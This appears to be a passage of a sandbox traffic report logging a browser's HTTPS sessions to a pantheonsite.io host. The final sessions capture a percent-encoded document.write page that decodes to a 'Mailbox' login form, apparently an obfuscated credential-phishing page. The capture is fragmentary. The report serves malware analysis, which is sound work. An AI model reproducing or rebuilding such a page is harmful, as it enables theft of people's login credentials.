43 54 49 56 41 54 45 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 65 7d 29 7d 2c 74 2e 5f 63 6c 65 61 72 3d 66 75 
6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 5b 5d 2e 73 6c 69 63 65 
Data Ascii: sest(pn).find(yn).addClass(hn),n.addClass(hn)):(n.addClass(hn),n.parents(dn).prev(gn+", "+mn).addClass(hn),n
.parents(dn).prev(_n).children(gn).addClass(hn)),tn(this._scrollElement).trigger(ln.ACTIVATE,{relatedTarget:e})},t._clea
r=function(){var t=[].slice

2021-11-25 16:27:44 UTC 425 IN Data Raw: 67 67 6c 65 22 2c 55 6e 3d 22 3e 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 20 2e 61 63 74 69 76 65 22 2c 
71 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 
74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 73 68 6f 77 3d 66 75 6e 63 
74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 69 66 28 21 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 70 61 72 
65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 6e 6f 64 65 54 79 
70 65 3d 3d 3d 4e 6f 64 65 2e 45 4c 45 4d 45 4e 54 5f 4e 4f 44 45 26 26 62 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 
29 2e 68 61 73 43 6c 61 73 73 28 4e 6e 29 7c 7c 62 6e 28 
Data Ascii: ggle",Un="> .dropdown-menu .active",qn=function(){function i(t){this._element=t}var t=i.prototype;return t.s
how=function(){var n=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.EL
EMENT_NODE&&bn(this._element).hasClass(Nn)||bn(

2021-11-25 16:27:44 UTC 427 IN Data Raw: 2e 66 69 6e 64 28 55 6e 29 5b 30 5d 3b 69 26 26 62 6e 28 69 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 4e 6e 
29 2c 22 74 61 62 22 3d 3d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 29 26 26 65 2e 73 65 74 
41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 31 29 7d 69 66 28 62 6e 28 74 29 2e 
61 64 64 43 6c 61 73 73 28 4e 6e 29 2c 22 74 61 62 22 3d 3d 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6
c 65 22 29 26 26 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 30 29 
2c 46 6e 2e 72 65 66 6c 6f 77 28 74 29 2c 62 6e 28 74 29 2e 61 64 64 43 6c 61 73 73 28 50 6e 29 2c 74 2e 70 61 72 65 
6e 74 4e 6f 64 65 26 26 62 6e 28 74 2e 70 61 72 65 6e 74 4e 6f 64 65 
Data Ascii: .find(Un)[0];i&&bn(i).removeClass(Nn),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}if(
bn(t).addClass(Nn),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),Fn.reflow(t),bn(t).addClass(Pn),t.
parentNode&&bn(t.parentNode

2021-11-25 16:27:44 UTC 432 IN Data Raw: 3d 56 6e 2c 74 2e 4d 6f 64 61 6c 3d 59 6e 2c 74 2e 50 6f 70 6f 76 65 72 3d 4a 6e 2c 74 2e 53 63 72 6f 6c 6c 
73 70 79 3d 5a 6e 2c 74 2e 54 61 62 3d 47 6e 2c 74 2e 54 6f 6f 6c 74 69 70 3d 7a 6e 2c 4f 62 6a 65 63 74 2e 64 65 66 69 
6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 7d 29 3b 
0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 2e 6d 
61 70 0d 0a 
Data Ascii: =Vn,t.Modal=Yn,t.Popover=Jn,t.Scrollspy=Zn,t.Tab=Gn,t.Tooltip=zn,Object.defineProperty(t,"__esModule",
{value:!0})});//# sourceMappingURL=bootstrap.min.js.map

2021-11-25 16:27:44 UTC 432 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

22 192.168.2.4 49792 172.217.168.68 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:45 UTC 486 OUT GET /s2/favicons?domain=axactor.fi HTTP/1.1
Host: www.google.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2021-11-25 16:27:45 UTC 487 IN HTTP/1.1 200 OK
Content-Type: image/png
Expires: Thu, 25 Nov 2021 16:27:45 GMT
Date: Thu, 25 Nov 2021 16:27:45 GMT
Cache-Control: private, max-age=86400
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Security-Policy: script-src 'report-sample' 'nonce-A2s26j2dQ8VFxE9t7dM2HA' 'unsafe-inline';object-src 'none';bas
e-uri 'self';report-uri /s2/_/FaviconHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-A2s26j2dQ8VFxE9t7dM2HA' 'self' https://apis.google.com https://ssl.gstatic.com 
https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /s2/_/FaviconHttp/cspreport
Content-Security-Policy: require-trusted-types-for 'script';report-uri /s2/_/FaviconHttp/cspreport
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: cross-origin
Transfer-Encoding: chunked
Server: ESF
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Set-Cookie: NID=511=aGZqaKTWwpQhkNJRbUkpuoDMmpIyjVPlGVTzoYxSJ6n2AKFYouy80Z9QIdGuZUVcAcYnbt-
FHaGxzw1TMqMRflGtbN29TVR_tPMI0oN62d20yDHq_LMsZXCSzGRmz6FcXiIqq1M9Oxgh6098BUpJQ893HCSEJhsO
fMx-9qzN5Kc; expires=Fri, 27-May-2022 16:27:45 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-25 16:27:45 UTC 488 IN Data Raw: 32 33 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 02 00 00 00 90 
91 68 36 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 01 ea 49 44 41 54 28 91 b5 d2 cb 4b 54 71 14 07 f0 ef ef 3a 
8e 34 5e 6f 33 7a 8d 60 b8 89 e1 28 59 0e 5e 2a 6c 50 17 25 43 f4 80 b0 a0 90 0a 69 13 19 3d 20 48 a8 4d 84 cb a8 55 7f 
41 6d 5b b4 68 61 f4 a0 ac 20 88 98 ac 19 2c 06 e9 31 5e 74 46 67 1c bd bf fb 9e fb fb b5 d0 98 92 5a b8 e8 ac ce 81 f3 e1 
70 e0 4b d4 81 41 ac a7 84 75 6d af 05 b3 2e 49 e9 82 cf 57 c7 22 b5 52 af bf da 5e e5 ef 60 d6 25 37 7b 17 a6 46 de 84 
83 cc e7 28 52 eb fc 89 43 cb 0b af b6 b7 46 7f 37 55 30 47 85 7d 9d 19 d3 0d 4d 94 02 35 04 3f 8a 34 b9 b7 bf 41 14 2f 
9d 1d 9e d2 4a 6b 01 f5 c9 e5 b8 11 0e 15 27 be b4 44 eb 
Data Ascii: 232PNGIHDRh6sBITOIDAT(KTq:4^o3z`(Y^*lP%Ci= HMUAm[ha ,1^tFgZpKAum.IW"R^`%7{F(RCF7U0G}M5?4
A/Jk'D

2021-11-25 16:27:45 UTC 489 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

23 192.168.2.4 49786 23.185.0.253 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:45 UTC 489 OUT GET /favicon.ico HTTP/1.1
Host: dev-ce563d81711943.pantheonsite.io
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
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2021-11-25 16:27:45 UTC 489 IN HTTP/1.1 302 Found
Connection: close
Content-Length: 0
Cache-Control: public, max-age=600
Content-Type: text/html; charset=UTF-8
Link: <https://dev-ce563d81711943.pantheonsite.io/wp-json/>; rel="https://api.w.org/"
Location: https://dev-ce563d81711943.pantheonsite.io/wp-includes/images/w-logo-blue-white-bg.png
Server: nginx
Strict-Transport-Security: max-age=300
X-Pantheon-Styx-Hostname: styx-fe1-b-d985bc577-z9drz
X-Redirect-By: WordPress
X-Styx-Req-Id: 93ef7292-4e0c-11ec-be7c-4eaf29936c1b
Date: Thu, 25 Nov 2021 16:27:45 GMT
X-Served-By: cache-mdw17360-MDW, cache-mxp6960-MXP
X-Cache: HIT, MISS
X-Cache-Hits: 1, 0
X-Timer: S1637857665.141264,VS0,VE113
Vary: Cookie, Cookie
X-Robots-Tag: noindex
Age: 18
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

24 192.168.2.4 49795 23.185.0.253 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:45 UTC 490 OUT GET /wp-includes/images/w-logo-blue-white-bg.png HTTP/1.1
Host: dev-ce563d81711943.pantheonsite.io
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2021-11-25 16:27:45 UTC 490 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 4119
Content-Type: image/png
Etag: "6194b8eb-1017"
Expires: Thu, 25 Nov 2021 16:27:44 GMT
Last-Modified: Wed, 17 Nov 2021 08:10:19 GMT
Server: nginx
Strict-Transport-Security: max-age=300
X-Pantheon-Styx-Hostname: styx-fe1-b-d985bc577-c4w29
X-Styx-Req-Id: 9ee2c4a6-4e0c-11ec-abfa-8691663dadd1
Cache-Control: no-cache, must-revalidate
Date: Thu, 25 Nov 2021 16:27:45 GMT
X-Served-By: cache-mdw17371-MDW, cache-mxp6979-MXP
X-Cache: MISS, MISS
X-Cache-Hits: 0, 0
X-Timer: S1637857665.323636,VS0,VE126
X-Robots-Tag: noindex
Age: 0
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish

2021-11-25 16:27:45 UTC 491 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 0f 
de 49 44 41 54 78 da e5 5d 09 78 55 c5 15 0e 5b c1 c8 56 10 d1 2a 29 9b 4b 6b ad c5 da 56 ad 6b b5 1b 4a 5d 6a 4b 45 
6c 3f f5 ab b5 74 b7 04 12 21 09 7b 14 2c a0 a2 11 45 83 d9 13 b2 90 90 1d 92 40 c0 b0 84 b0 46 90 25 04 08 81 10 12 42 
16 12 b2 4e e7 bf 79 93 cc 9d 77 97 b9 f7 bd 87 49 7b be 6f be f0 de 9b 3b cb b9 73 e6 9c f3 9f 33 83 97 d7 57 48 d7 cf 8b 
1b ff ad a5 c9 2f d3 b2 7a 42 70 d2 96 6f 2c 58 57 f2 f5 80 98 9a 81 b3 23 5a bd 66 86 11 be 7c 6d 76 44 f3 d0 39 d1 17 46 
06 c6 1c a2 cf a5 8d 08 8c 79 ab 9f 6f f8 b3 f4 b7 31 5e ff 37 34 33 6c d8 d8 c5 09 af de f9 76 ca e7 23 03 63 1b 45 26 f1 
65 d8 dc 68 55 31 aa 7b 8d 7f e4 05 ca e0 08 fa ef 
Data Ascii: PNGIHDRPPIDATx]xU[V*)KkVkJ]jKEl?t!{,E@F%BNywI{o;s3WH/zBpo,XW#Zf|mvD9Fyo1^743lv#cE&ehU1{

2021-11-25 16:27:45 UTC 492 IN Data Raw: 7e 53 70 b2 52 41 93 5f 89 2b d0 9c d0 ef a3 b7 91 d8 7d 27 49 3e 5d 69 a8 6f 65 85 c0 65 3c 57 d7 a8 a0 d3 
40 ae 23 8a 4e 98 2a 35 00 af 56 09 7d f0 c4 79 29 33 f5 34 ef 20 ea ae 29 40 41 61 59 95 2d 06 02 9d b1 b3 97 5d 17 14 
4b 5a 24 6d 34 b8 60 80 aa ac b4 7f e3 82 75 d2 36 20 23 44 fd 78 fa bc b4 92 b5 77 5a 33 da f7 42 d4 d6 00 54 78 e0 fd 
4c db 4b 7d c1 c6 fd b6 15 42 ca 17 65 d2 fd d8 31 a3 56 e4 1f b2 34 17 20 34 88 cf f0 f4 83 77 d2 58 7b 53 9c 18 38 69 
45 2a 1c 68 05 72 e7 69 d9 e6 2f a4 f7 2c 74 68 97 81 74 fb 90 9e 5c 48 c1 11 cb ed 53 cb 82 5c a4 ca 4a 96 20 b2 7f 4e 
d8 a1 fa 6e cd ce 63 ac bd 04 15 f3 86 cd 8d 1e 8e a0 b7 37 f5 3c 78 07 1b 76 10 60 78 68 45 4f 8b 31 cc 9f 1a c9 09 da 
11 63 94 19 82 53 60 44 88 e6 61 ee 3c 3f e0 27 f7 9f 15 
Data Ascii: ~SpRA_+}'I>]ioee<W@#N*5V}y)34 )@AaY-]KZ$m4`u6 #DxwZ3BTxLK}Be1V4 4wX{S8iE*hri/,tht\HS\J N
nc7<xv`xhEO1cS`Da<?'
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2021-11-25 16:27:45 UTC 494 IN Data Raw: 70 b6 f5 72 fc c4 f2 e9 ae e3 2e 65 15 f0 e2 fb 0b 83 95 2f eb e2 71 71 8b ae f2 48 48 96 aa 8e 59 9a 32 50 79 
5e 7c b1 bf d2 97 00 1f 18 6e dc 30 55 76 c2 b8 25 89 05 5a a8 83 70 30 4f b7 88 83 b3 2a c6 8c 31 66 71 8e a0 ac 7d 52 
fd c4 6b 00 22 bc 57 b3 bb ac ca 72 68 81 43 a9 12 9d 72 63 46 05 c5 3e 87 1f 11 91 e7 09 a0 a3 8c f9 81 3a 00 0e ec 88 
31 2f be 38 ba 6f d4 cf f8 e0 44 a9 5c 1d 2d 31 e6 f1 3f b3 53 55 98 cf 31 01 2f 9c b4 22 b5 51 37 b9 08 29 5b 4c 1b 8b 19 
a4 5a e2 a0 55 c4 94 30 59 31 e6 c5 57 26 f3 4a 36 57 87 1f 37 1f f7 c6 0b 30 3b cf 07 64 9a 27 64 e3 72 a9 be fd 35 73 
04 af 0b 8a 0d 44 a5 e9 51 db 9c 56 61 3f 89 f0 a1 68 4b ca 8a 31 13 df 72 09 9f d4 4a ae 0e 2f c6 bc c1 9f 2f c4 7d b5 0e 
70 8b 7b ed 13 6b 72 6a 1d bf fb 1a dd 7b 30 94 
Data Ascii: pr.e/qqHHY2Py^|n0Uv%Zp0O*1fq}Rk"WrhCrcF>:1/8oD\-1?SU1/"Q7)[LZU0Y1W&J6W70;d'dr5sDQVa?hK1r
J//}p{krj{0

2021-11-25 16:27:45 UTC 495 IN Data Raw: 4e 44 ae 42 60 82 
Data Ascii: NDB`

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

25 192.168.2.4 49801 23.185.0.253 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:45 UTC 495 OUT GET /$!&&br.d.g$&!&.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 
Safari/537.36
Host: dev-ce563d81711943.pantheonsite.io

2021-11-25 16:27:45 UTC 495 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 25180
Content-Type: text/html
Etag: W/"6194ba37-625c"
Last-Modified: Wed, 17 Nov 2021 08:15:51 GMT
Server: nginx
Strict-Transport-Security: max-age=300
X-Pantheon-Styx-Hostname: styx-fe1-b-d985bc577-z9drz
X-Styx-Req-Id: 8624a7d4-4e0c-11ec-be7c-4eaf29936c1b
Date: Thu, 25 Nov 2021 16:27:45 GMT
X-Served-By: cache-mdw17332-MDW, cache-mxp6972-MXP
X-Cache: HIT, HIT
X-Cache-Hits: 1, 1
X-Timer: S1637857666.929706,VS0,VE1
Vary: Accept-Encoding, Cookie, Cookie
X-Robots-Tag: noindex
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish

2021-11-25 16:27:45 UTC 496 IN Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 64 6f 63 
75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 63 25 32 31 25 36 34 25 36 66 25 36 33 25 37 
34 25 37 39 25 37 30 25 36 35 25 32 30 25 36 38 25 37 34 25 36 64 25 36 63 25 33 65 25 30 64 25 30 61 25 33 63 25 36 
38 25 37 34 25 36 64 25 36 63 25 32 30 25 36 63 25 36 31 25 36 65 25 36 37 25 33 64 25 32 32 25 36 35 25 36 65 25 32 
32 25 33 65 25 33 63 25 36 63 25 36 39 25 36 65 25 36 62 25 32 30 25 37 32 25 36 35 25 36 63 25 33 64 25 32 32 25 36 
39 25 36 33 25 36 66 25 36 65 25 32 32 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 64 25 32 32 25 36 39 25 36 
64 25 36 31 25 36 37 25 36 35 25 32 66 25 37 30 25 36 65 25 36 37 25 32 
Data Ascii: <script type="text/javascript">document.write(unescape('%3c%21%64%6f%63%74%79%70%65%20%6
8%74%6d%6c%3e%0d%0a%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%22%3e%3c%6c%69%6e%
6b%20%72%65%6c%3d%22%69%63%6f%6e%22%20%74%79%70%65%3d%22%69%6d%61%67%65%2f%70%6e
%67%2

2021-11-25 16:27:45 UTC 497 IN Data Raw: 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 64 25 36 31 25 
37 32 25 36 37 25 36 39 25 36 65 25 33 61 25 32 30 25 33 33 25 33 30 25 37 30 25 37 38 25 32 30 25 36 31 25 37 35 25 
37 34 25 36 66 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 
30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 65 25 36 63 25 36 66 25 36 37 25 36 39 25 36 65 25 
32 64 25 36 36 25 36 66 25 37 32 25 36 64 25 32 30 25 36 36 25 36 66 25 37 32 25 36 64 25 32 30 25 37 62 25 30 64 25 
30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 64 25 36 31 25 37 32 25 36 37 25 
36 39 25 36 65 25 32 64 25 36 32 25 36 66 25 37 34 25 37 34 25 36 66 25 36 
Data Ascii: d%0a%20%20%20%20%20%20%20%20%6d%61%72%67%69%6e%3a%20%33%30%70%78%20%
61%75%74%6f%3b%0d%0a%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%2e%6c%6f%67%69
%6e%2d%66%6f%72%6d%20%66%6f%72%6d%20%7b%0d%0a%20%20%20%20%20%20%20%20%6d%61%72%6
7%69%6e%2d%62%6f%74%74%6f%6

2021-11-25 16:27:45 UTC 499 IN Data Raw: 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 66 25 36 65 25 
37 34 25 32 64 25 37 33 25 36 39 25 37 61 25 36 35 25 33 61 25 32 30 25 33 31 25 33 35 25 37 30 25 37 38 25 33 62 25 
30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 66 25 36 65 25 
37 34 25 32 64 25 37 37 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 61 25 32 30 25 36 32 25 36 66 25 36 63 25 
36 34 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 64 25 30 64 25 30 61 25 
32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 65 25 37 33 25 36 66 25 36 33 25 36 39 25 36 31 25 36 63 25 
32 64 25 36 32 25 37 34 25 36 65 25 32 30 25 32 65 25 36 32 25 37 34 25 36 
Data Ascii: a%20%20%20%20%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%20%31%35%70%
78%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%20%62%6f
%6c%64%3b%0d%0a%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%2e%73%6f%63%69%61%6
c%2d%62%74%6e%20%2e%62%74%6
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2021-11-25 16:27:45 UTC 500 IN Data Raw: 65 25 36 66 25 37 32 25 32 64 25 37 33 25 36 35 25 37 30 25 36 35 25 37 32 25 36 31 25 37 34 25 36 66 25 
37 32 25 32 30 25 37 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
36 64 25 36 31 25 37 32 25 36 37 25 36 39 25 36 65 25 32 64 25 37 34 25 36 66 25 37 30 25 33 61 25 32 30 25 33 32 25 
33 30 25 37 30 25 37 38 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 37 34 25 36 35 25 37 38 25 37 34 25 32 64 25 36 31 25 36 63 25 36 39 25 36 37 25 36 65 25 33 61 25 32 30 25 
36 33 25 36 35 25 36 65 25 37 34 25 36 35 25 37 32 25 33 62 25 30 64 25 30 61 25 32 30 25 32 30 25 32 30 25 32 30 25 
32 30 25 32 30 25 32 30 25 32 30 25 36 32 25 36 66 25 37 32 25 36 34 25 36 
Data Ascii: e%6f%72%2d%73%65%70%65%72%61%74%6f%72%20%7b%0d%0a%20%20%20%20%20%20%
20%20%6d%61%72%67%69%6e%2d%74%6f%70%3a%20%32%30%70%78%3b%0d%0a%20%20%20%20%20%20
%20%20%74%65%78%74%2d%61%6c%69%67%6e%3a%20%63%65%6e%74%65%72%3b%0d%0a%20%20%20%2
0%20%20%20%20%62%6f%72%64%6

2021-11-25 16:27:45 UTC 501 IN Data Raw: 33 25 33 64 25 32 32 25 32 32 25 32 30 25 36 31 25 36 63 25 37 34 25 33 64 25 32 32 25 34 64 25 36 31 25 
36 39 25 36 63 25 36 32 25 36 66 25 37 38 25 32 32 25 32 30 25 36 39 25 36 34 25 33 64 25 32 32 25 36 63 25 36 66 25 
36 37 25 36 66 25 36 39 25 36 64 25 36 37 25 32 32 25 32 30 25 37 33 25 37 34 25 37 39 25 36 63 25 36 35 25 33 64 25 
32 32 25 37 37 25 36 39 25 36 34 25 37 34 25 36 38 25 33 61 25 33 32 25 33 38 25 37 30 25 37 38 25 33 62 25 36 38 25 
36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 61 25 33 32 25 33 38 25 37 30 25 37 38 25 33 62 25 32 32 25 33 65 25 
33 63 25 37 33 25 37 30 25 36 31 25 36 65 25 32 30 25 37 33 25 37 34 25 37 39 25 36 63 25 36 35 25 33 64 25 32 32 25 
37 36 25 36 35 25 37 32 25 37 34 25 36 39 25 36 33 25 36 31 25 36 63 25 32 
Data Ascii: 3%3d%22%22%20%61%6c%74%3d%22%4d%61%69%6c%62%6f%78%22%20%69%64%3d%22%
6c%6f%67%6f%69%6d%67%22%20%73%74%79%6c%65%3d%22%77%69%64%74%68%3a%32%38%70%78%3b
%68%65%69%67%68%74%3a%32%38%70%78%3b%22%3e%3c%73%70%61%6e%20%73%74%79%6c%65%3d%2
2%76%65%72%74%69%63%61%6c%2

2021-11-25 16:27:45 UTC 503 IN Data Raw: 64 25 32 32 25 36 36 25 36 66 25 37 32 25 36 64 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 
32 32 25 33 65 25 33 63 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 
32 32 25 36 39 25 36 65 25 37 30 25 37 35 25 37 34 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 32 32 25 
33 65 25 33 63 25 37 33 25 37 30 25 36 31 25 36 65 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 
32 32 25 36 39 25 36 65 25 37 30 25 37 35 25 37 34 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 32 64 25 
36 31 25 36 34 25 36 34 25 36 66 25 36 65 25 32 32 25 33 65 25 33 63 25 36 39 25 32 30 25 36 33 25 36 63 25 36 31 25 
37 33 25 37 33 25 33 64 25 32 32 25 36 36 25 36 31 25 37 33 25 32 30 25 36 
Data Ascii: d%22%66%6f%72%6d%2d%67%72%6f%75%70%22%3e%3c%64%69%76%20%63%6c%61%73%
73%3d%22%69%6e%70%75%74%2d%67%72%6f%75%70%22%3e%3c%73%70%61%6e%20%63%6c%61%73%73
%3d%22%69%6e%70%75%74%2d%67%72%6f%75%70%2d%61%64%64%6f%6e%22%3e%3c%69%20%63%6c%6
1%73%73%3d%22%66%61%73%20%6

2021-11-25 16:27:45 UTC 504 IN Data Raw: 32 25 36 34 25 32 32 25 32 30 25 37 32 25 36 35 25 37 31 25 37 35 25 36 39 25 37 32 25 36 35 25 36 34 25 
33 64 25 32 32 25 37 32 25 36 35 25 37 31 25 37 35 25 36 39 25 37 32 25 36 35 25 36 34 25 32 32 25 33 65 25 33 63 25 
32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 33 63 25 32 66 25 36 34 25 36 39 25 37 36 25 33 65 25 33 63 25 36 34 25 
36 39 25 37 36 25 32 30 25 36 33 25 36 63 25 36 31 25 37 33 25 37 33 25 33 64 25 32 32 25 36 36 25 36 66 25 37 32 25 
36 64 25 32 64 25 36 37 25 37 32 25 36 66 25 37 35 25 37 30 25 32 32 25 33 65 25 33 63 25 36 39 25 36 65 25 37 30 25 
37 35 25 37 34 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 64 25 32 32 25 36 38 25 36 39 25 36 34 25 36 34 25 
36 35 25 36 65 25 32 32 25 32 30 25 36 65 25 36 31 25 36 64 25 36 35 25 33 
Data Ascii: 2%64%22%20%72%65%71%75%69%72%65%64%3d%22%72%65%71%75%69%72%65%64%22%
3e%3c%2f%64%69%76%3e%3c%2f%64%69%76%3e%3c%64%69%76%20%63%6c%61%73%73%3d%22%66%6f
%72%6d%2d%67%72%6f%75%70%22%3e%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%68%69%64%6
4%65%6e%22%20%6e%61%6d%65%3

2021-11-25 16:27:45 UTC 505 IN Data Raw: 63 25 32 64 25 36 63 25 36 35 25 36 36 25 37 34 25 32 30 25 36 33 25 36 38 25 36 35 25 36 33 25 36 62 25 
36 32 25 36 66 25 37 38 25 32 64 25 36 39 25 36 65 25 36 63 25 36 39 25 36 65 25 36 35 25 32 32 25 33 65 25 33 63 25 
36 39 25 36 65 25 37 30 25 37 35 25 37 34 25 32 30 25 37 34 25 37 39 25 37 30 25 36 35 25 33 64 25 32 32 25 36 33 25 
36 38 25 36 35 25 36 33 25 36 62 25 36 32 25 36 66 25 37 38 25 32 32 25 33 65 25 32 30 25 35 33 25 36 35 25 36 33 25 
